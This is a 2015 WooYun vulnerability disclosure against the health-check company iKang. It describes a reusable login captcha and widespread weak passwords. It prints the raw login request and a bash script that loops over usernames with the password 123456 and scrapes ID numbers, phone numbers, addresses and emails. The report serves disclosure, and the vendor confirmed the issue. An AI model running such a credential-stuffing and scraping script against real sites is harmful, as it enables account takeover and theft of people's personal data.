当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-093412

漏洞标题：爱康国宾设计缺陷部分用户信息泄露(附抓取shell脚本)

相关厂商：爱康国宾

漏洞作者： 路人甲

提交时间：2015-01-22 21:00

修复时间：2015-03-08 21:02

公开时间：2015-03-08 21:02

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：8

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-22： 细节已通知厂商并且等待厂商处理中
2015-01-23： 厂商已经确认，细节仅向厂商公开
2015-02-02： 细节向核心白帽子及相关领域专家公开
2015-02-12： 细节向普通白帽子公开
2015-02-22： 细节向实习白帽子公开
2015-03-08： 细节向公众公开

简要描述：

RT.

详细说明：

用户登录验证码重复使用
弱口令概率不小，使用Burp自带用户名，123456密码成功70个。

POST /login HTTP/1.1
Host: my.ikang.com
Proxy-Connection: keep-alive
Content-Length: 105
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://my.ikang.com
Content-Type: application/x-www-form-urlencoded
Referer: http://my.ikang.com/loginui
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie:  
userType=1&platformId=340693&domain=my.ikang.com&logintype=1&username=test&password=123456&checkCode=rA70


写个简单的shell脚本抓取
脚本贴出来，比较傻瓜别笑话。

#!/bin/bash
while read oneline
do
	login_url="http://my.ikang.com/login"
	login_data="userType=1&platformId=340693&domain=my.ikang.com&logintype=1&username=${oneline}&password=123456&checkCode=rA70"
	login_cookie="PHPSESSID=2e637cbb5cdf3e7ad0c0dfdb39bd70d3"
	login_cookiefile="login_cookie.txt"
	echo ${login_cookie} > ${login_cookiefile}
	geturl="http://my.ikang.com/personinfo/create"
	cookiefile="cookie.txt"
	tmpfile="tmp.txt"
	datafile="data1.txt"
	curl "${login_url}" -d "${login_data}" -c ${cookiefile} -s -b ${login_cookiefile}
	getdata=`curl ${geturl} -s -b ${cookiefile}  > ${tmpfile}`
	grep "dnumber" ${tmpfile} >> ${datafile}
	grep "mobile" ${tmpfile} >> ${datafile}
	grep "address" ${tmpfile} >> ${datafile}
	grep "email" ${tmpfile} >> ${datafile}
done < kang_user.txt

漏洞证明：

爱康体检.png

爱康体检1.png

修复方案：

1.验证码及时过期
2.在资料中心身份证、手机敏感信息隐藏几位。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-01-23 09:01

厂商回复：

感谢关注 爱康安全，谢谢

最新状态：

暂无